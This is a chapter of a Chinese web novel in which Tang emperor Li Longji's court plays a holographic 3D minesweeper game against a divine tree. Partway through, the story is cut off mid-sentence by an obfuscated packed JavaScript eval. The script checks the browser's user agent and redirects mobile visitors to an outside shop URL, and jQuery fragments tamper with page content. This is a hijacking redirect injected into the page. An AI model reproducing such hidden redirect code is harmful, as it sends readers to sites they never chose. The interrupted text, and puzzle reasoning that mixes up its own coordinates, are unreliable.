21.唐玄宗李隆基21

作品:《我靠透露心声兜售三无产品

    日落的晚霞照进殿门,在地上留下一片夺目的霞光,殿内的朝臣见到神树迎着晚霞出现,想要向祂讨个主意,纷纷迎上前,“见过神树。”


    “起。”寿椿龄看向御阶之上,负手而立的李隆基,“人间帝王……”


    “神树。”李隆基顿了顿,沉声道:“臣某见过神树,军情紧急,请恕失礼之处。”


    神树的树叶轻轻晃动,犹如一片片阳绿的翡翠。祂的声音依旧那样飘渺不定,没有源头也没有方向,却能直接穿透耳膜,在人的灵魂间震荡,“吾这里有一个雷公电母的游戏之作,你可愿与吾游戏一局?”


    李隆基看着神树,一时间说不出话来。自神树临凡以来,从不会无缘无故找人,所以,这个游戏中会不会有神树关于军情的某种暗示?


    李隆基跟宰相和六部尚书对了眼神,“不知神树要如何玩这局游戏?输赢可有彩头和惩罚?”


    寿椿龄:“你与吾各选五人进入游戏,进入游戏后,必须前后左右走动,不可静立原地。哪队先碰到雷罚,哪队输。三局两胜,若你赢了,这雷罚幻影,吾便售卖与你,如何?”


    神树话音落下,殿内君臣只觉得被话里的余韵震得全身发麻:是不是玩得太大了?!雷罚啊!这……这就是神仙之间的游戏吗?动辄引雷电为戏。肉体凡胎的凡人根本就玩不起啊!


    李隆基只觉得头皮发麻,即使他下圣旨,又有几人愿意用命与神灵玩这一局游戏?而且,还不一定能赢。或者说,没有人有信心能赢过神。


    王忠嗣上前一步,满脸的不畏牺牲,语气坚定:“陛下,臣愿为陛下马前卒,与神树玩这一局。”


    王忠嗣话音落下,整个大殿再次安静下来,针落可闻。寿椿龄环视一周,大概明白了这些人的顾虑,笑道:“人间帝王,这游戏虽有雷罚之象,却没有雷罚之实,所以名为雷罚幻影。吾这队五人,就以沈珍珠为队率,另从之前的有缘人中选四个即可。你呢?”


    听到神树的话,所有人都松了口气,顿时对游戏跃跃欲试起来,纷纷踊跃参加。


    李隆基很快选了五个大臣出来,其中一人是之前神树提到过的哥舒翰,全队由王忠嗣带队。


    寿椿龄这边,因为之前的有缘人都官职低微,并不在殿内,李隆基当场叫人去将人宣进宫来。看着对面一水的大老粗,寿椿龄直接点了五个女孩子,由开始说好的沈珍珠带队。


    “这可有意思了。”没被选上的朝臣伸着脖子,“朝堂衮衮诸公,对阵几个弱女子,若是赢了那是理所应当,若是输了……”


    话没说完,寿椿龄扔出全息扫雷,全息投影亮起,三百六十度悬浮的立体灰色光格在众人眼前铺开,铺满了整个兴庆宫的大殿,密密麻麻,纵横交错。


    这神来之笔,让殿内众人看得目眩神迷——他们穷尽想象力,也想不出,神灵之间的游戏,竟然是这样的。


    整个全息扫雷是三维立体棋盘,十五乘十五乘十五,共三千三百七十五个方格,埋着四百颗雷。数字提示着周边相邻格子的雷数,但相邻不是平面上的八个,而是立体上的二十六个。


    “可以进去了哦,任意方向都能进入。灰色就是关闭状态,一旦踩上去,就是打开状态,如果打开以后有雷罚,就全队出局。开出数字则代表相邻的二十六个立体方格中的雷罚数量,‘1’表示一个雷罚,‘2’表示两个,‘3’表示三个,‘4’表示四个……”


    神侍的声音高亢活泼,它每说一句,棋盘上就会出现相应的全息影像,辅助解释游戏规则。


    户部侍郎韦济对数字尤为敏感,弄懂了游戏规则后,对身边同僚笑道:“这雷公电母的游戏看似复杂,实则是数字游戏。在户部日日与钱粮数字打交道,今日可不能输给几个女娃娃。”


    哥舒翰点点头:“韦侍郎放心,我虽是武将,算学也不差。”


    王忠嗣没说话,只是打量着对面的五个女子。沈珍珠是大家最为熟悉的。一个跟沈珍珠年纪差不多大的姑娘,满脸柔弱,时不时捂着帕子咳嗽两声。还有个女人膀大腰圆,满脸横肉,看起来比哥舒翰和王忠嗣这两个武将还要孔武有力。最年长的女子看起来也不到三十岁,身着灰色素钗裙,一看便知是个商人。唯独那最小的丫头,正仰着脑袋看全息投影,眼珠子亮晶晶的。


    “开始吧!”系统特意模拟了一声枪响。


    三维棋盘开始计时。


    两队轮流操作,每次可以探查一个格子。


    最小的姑娘名叫柳芸娘,扎着双丫髻,才八九岁的模样,踮脚凑到沈珍珠耳边,“珍珠姐姐,我们等他们先走,他们如果踩到雷罚,立刻就会出局。如果没踩到,反而开出了数字,我们就知道哪里可以走,哪里不可以。”


    聪明人显然不少,两队人谁也不肯先走,一时间僵持下来。


    寿椿龄:“……大臣队先手。”


    王忠嗣跟同队的人商量了一番,第一步只能完全靠运气,最后,王忠嗣小心翼翼地走入一个角落的格子。


    轰!


    红光炸开,震耳欲聋地爆炸声响彻大殿,整个兴庆宫都在爆炸中颤抖,灰尘扑簌簌落下,断壁残垣纷纷砸下。


    朝臣尖叫着东躲西藏。


    “陛下!”高力士和哥舒翰同时大喊一声,奔向李隆基。


    李隆基骇得脸色巨变,正想弯腰藏到御案下,就见神树老神在在的扎根在原地,枝叶未曾晃动分毫,这才想起神树提起这个游戏时的介绍。


    扶了扶有些歪斜的金冠,站直身体,说道:“都退下,朕无事。此乃雷罚幻影,众卿家不必惊慌。”


    文武百官此时也想起神树之前所说,游戏只有雷罚之命,没有雷罚之实,只是幻影。


    大家这才整理官服,扶好帽子,咳嗽着站回原位,但是哪怕知道眼前所见,只是虚幻假象,柱子倾颓而下时,还是忍不住斜着身子躲避。


    “这就是雷罚!”


    “不敢想象,若是真正的雷罚,又该是何等的灭世景象。”


    王忠嗣见自己第一步就踩雷了,不由老脸涨红,向李隆基告罪退下。但是想到只要赢下剩下的两局,陛下就能买下这雷罚游戏,届时用在战场之上,能发挥出其不意的巨大效果。毕竟,看看在场众人,哪怕知道一切都是假的,爆炸和断壁残垣,依然让人忍不住躲闪害怕。


    全息棋盘一阵重新排列,游戏从头开始,这次轮到沈珍珠带领的队伍。


    魁梧女人深吸一口气,上前一步,正要随意走进角落里的格子,被小小的柳芸娘一把拉住,“婶婶,走(1,1,3)。”


    “啊?”魁梧女人愣了愣,“为啥?”


    “它安全。”柳芸娘点着小脑袋,说得很肯定。


    魁梧女人将信将疑地点了(1,1,3),光格亮起,安全!开出数字2。


    大臣们“咦”了一声。


    韦济瞥了一眼,叮嘱王忠嗣这次走(5,5,5)中心点。


    光格亮起,显示数字“3”——说明周边二十六个格子里有三个雷。


    哥舒翰立刻找人借来纸笔勾画起来,“3号位,相邻二十六格……”


    另外两大臣已经快速标记了周边几个高危区域。


    在外围观的朝臣频频点头:“到底是朝廷命官,这反应,这思路。”


    沈珍珠上场,柳芸娘再次小声开口:“珍珠姐姐,走(3,4,5),然后(7,2,8),然后(12,9,4),这三个都安全,按顺序走。”


    沈珍珠似乎早已知道柳芸娘的厉害,笑着点头。


    魁梧女人愣了,问:“丫头,你咋知道?”


    “算出来的呀。”小丫头歪着脑袋,手指在空中比划,“你看,刚才那两个数字,和之前(5,5,5)那个3连起来,还有角落(1,1,1)那个1,其实相互勾连,未开格子的概率分布不是均匀的,边界格子的雷数可以反推……”


    她说得又快又轻,周围人听得云里雾里。


    沈珍珠照着她说的走下去,三个格子,全部安全。


    大臣们见状,不由站直了身体,伸着脖子看向柳芸娘。


    王忠嗣重新看向扎着双丫髻的小姑娘,第一次认真打量她——粗布麻衣,裤子上打着补丁,脚上一双半旧的草鞋,浑身上下写着“市井贫民”四个字,但那双眼睛,亮的惊人。


    “这孩子……”哥舒翰喃喃道。


    “巧合。”同队的另一个大臣沉声,“继续。”


    扫雷渐渐深入。


    半个时辰后,全场鸦雀无声。


    棋盘上,已经探查出了六百多个格子,标记出八十三个雷罚格。两队人皆额头见汗,手指微颤,每走一步都小心翼翼。


    整个局势,已经变成了柳芸娘和韦济的单独对决。


    韦济一连报出几个安全坐标,让王忠嗣几人踩下去。


    小丫头站在全息游戏盘前,双手负在身后,仰着小脸,目光在三维棋盘上扫过,连续开口:“(8,9,10)安全,(4,7,15)雷罚,(13,3,11)安全,标记(11,11,9)雷罚……”


    沈珍珠和另外三个队员,全部变成了她的棋子,只管按照她说的去踩格子,队友看着她的眼神,就像在看神仙。


    “等等。”韦济突然出声,指着棋盘一角,“(9,7,8)这个格子,数字4,周边已开的格子只有三个,剩余未开的格子六个,你怎么确定那处雷罚一定在(9,8,7),而不是(10,7,8)?”


    柳芸娘回过头,看了他一眼。


    那一眼没有畏惧,没有挑衅,仅仅是平淡的一瞥,像是在说:“哦,有人问我问题”。


    “因为,你错了!”她说。


    满堂静寂。


    小丫头走到棋盘侧面,指着那一块区域:“你看(8,7,7)这个格子,数字‘3’,它的三个雷罚已经全部标记出来了,分别在(7,7,7)、(8,6,7)、(8,7,6)。所以,(8,7,8)是安全格,开出来的数字是‘1’,而这个‘1’相邻的雷罚就是(9,8,7)。至于你说的(10,7,8),它同时是(9,8,7)的相邻格,也是(10,6,8)的相邻格,而(10,6,8)开出的数字‘2’已经有两个雷罚标记了——所以(10,8,7)不可能是雷罚。”


    她顿了顿,补充道:“这是翰林院明算科博士考过的题,你应该知道呀。”


    韦济张了张嘴,一句话也说不出来。


    一旁观看的朝臣,顿时开始窃窃私语,尤其是户部和太史局,对着柳芸娘止不住的欣赏与喜爱。这两处平时都要跟算学打交道。


    寿椿龄听着周围人对小姑娘的惊叹声,欣喜地关注着她,自己好像一不小心找到了一个数学天才。


    当时见她,柳芸娘正跟在她娘身边卖豆腐,当时有两个无赖当街调戏她娘。


    小姑娘拿着弹弓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178362|195788||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,弹无虚发,将两个无赖打得满头包,还恐吓无赖说“举头三尺有神树,若想死快点,尽管继续作恶”,吓得两个无赖灰溜溜地离开。


    寿椿龄见着小姑娘实在讨喜,便现身卖给她一个空气弹弓,只是个玩具,虽能攻击,但是杀伤力不大。


    但是现在,寿椿龄觉得自己卖错了。


    等到游戏结束,小小的数学神童,可以有更大的作为。


    对局继续焦灼。


    一个时辰后,胜负已定。


    轮到王忠嗣队走,但是所有安全区都被打开,只剩下标记了的雷罚处。这一下走下去,必踩雷,王忠嗣停在原地未动。


    在前主持的高力士擦了擦汗,回头觑着神树,不知道该算和局,还是算沈珍珠队赢。


    “这……算谁赢?”


    “我方并未触及雷罚,不算输。”


    “……不知道神树和陛下如何裁判。”


    “神树?”李隆基提醒一言不发的神树。


    神树还未开口,神侍咋咋呼呼的声音响起,“当然是神树队获胜!你那边可都是百里挑一的朝中大臣,主人这边只有两个成年人,剩下的可都是未成年。说出去,你们都算是欺负小朋友!”


    “……”


    “……”


    文武百官都无语了,这神侍就是爱胡搅蛮缠。


    李隆基转了转手上的扳指,看着充斥着整个大殿的全息游戏,脑海中浮现出雷罚出现时那一刹那,实在不愿意放弃这样的神器。干咳两声,“神树,不如,让他们再比一局?”


    “不必!”寿椿龄道:“人间帝王,游戏中共有四百处雷罚,不如,先随吾一起看看这四百雷罚共同降临的盛况。”


    话音落下,大家都还没做好准备。


    轰——


    一声裂天之响,火光冲天,乾坤震动,烈焰翻涌如山海倾颓,黑烟如柱,灼热的气流横扫而来,凡所触及,瓦石纷飞,梁柱崩裂。


    尽管极力告诉自己,这都是假的,但天崩地裂的末日景象前,满殿的人仍然忍不住发出凄厉惊惶的惨叫,还有人不由抱头鼠窜,更有胆小者直接吓得肝胆俱裂,瘫软在地。


    如山般碾压而来的气浪渐渐消散,天地间只剩下一片刺目的白光,殿内的人这才颤巍巍地相互搀扶着站直身体,看向再次组合为新,耸立在殿内的棋盘,不禁全身发麻,两股战战。


    李隆基脸色发白,早已跌坐在御座上。


    王忠嗣见惯了战场厮杀,此时勉强保持镇定,跪倒在神树面前,“求神树为我大唐赐下神器,凭此雷罚仙术,臣定夺回石堡城,让吐蕃大军付出惨痛的代价。”


    寿椿龄:“游戏规则在前,哪怕是和局,你们也没有赢,叫吾如何售卖与你们?”


    满朝大臣都是人精,闻言心中一动,有门儿。


    “神树,吐蕃人一向视人命为草芥,将掳掠的俘虏,当作可供驱使、随意宰杀的牲畜,我朝若失石堡城,吐蕃直驱而下,边关百姓危矣。求神树怜悯。”


    神树不为所动。


    “吐蕃虽有朝廷,但向来冷酷暴戾,动辄活剥人皮做鼓;串稚童头骨以做装饰;用成人头骨做酒器……”


    王忠嗣跟吐蕃打过不止一次,对吐蕃的风土人情了解最深,想到曾经见过的令人发指的恐怖画面,有些物伤其类的悲哀,眼眶都红了,声音也略显哽咽,“神树,我等凡人卑弱,不似仙神强大。但人之所以为人,是因为人懂得礼义廉耻,卑弱凡人亦有尊严,可以死,但不该毫无价值地被虐杀而死。吐蕃人都是披着华贵衣袍的野兽,他们残忍、凉薄、毫无人性。这样的国家,该灭!”


    “你说的这些是吐蕃贵族,普通百姓,又当如何对待?”寿椿龄问。


    神树似在问策,但这样涉及到民族的问题,就不是他们能够回答的了。


    李隆基道:“神树,石堡城陷落,现在谈及吐蕃治理尚且过早。但是,入我唐者,皆是我大唐子民。朕的朝堂之上亦有外族人为官,朝廷对此一向包容开放。”


    站在下面的瞿昙譔挺了挺身,他是天竺的婆罗门,如今在太史局任职,专司九服朔差、异域历法比对。


    寿椿龄也看到了他,伸出树枝一招,全息扫雷极限缩小,变成巴掌大的正方体落在面前。


    “王忠嗣。”


    王忠嗣上前参拜,“臣在。”


    “一金。此物就是你的了。”


    所有人目光灼灼地落在全息扫雷上,对王忠嗣有些嫉妒。


    王忠嗣立刻掏出一金奉上,自从神树出现后,只要家境不错的,都随身带着一金,以防自己什么时候能被选为有缘人。


    钱货两讫,王忠嗣轻轻捧着全息扫雷,小心翼翼地走回原位。


    “人间帝王,此游戏只得雷霆之影,若想得雷霆神力之实,就要好好推广化学之道。”


    李隆基挪开放在全息扫雷上的眼睛,理解了神树的意思后,“神树的意思是?”


    “不错!”


    得到了肯定答复,李隆基简直想立刻下去找金陵子,他还记得,当初神树传了化学之道,让正一道士带给金陵子。


    化学,化育万物之学。看来,他此前还是小瞧了化学,将化学之道想得太过简单。


    太史令一直在一旁,早就迫不及待,见正事说完,立刻蹦了出来,打断李隆基的思考,指着柳芸娘道:“陛下,臣想收这小女郎为徒,将毕生所学倾囊相授。求陛下应允。”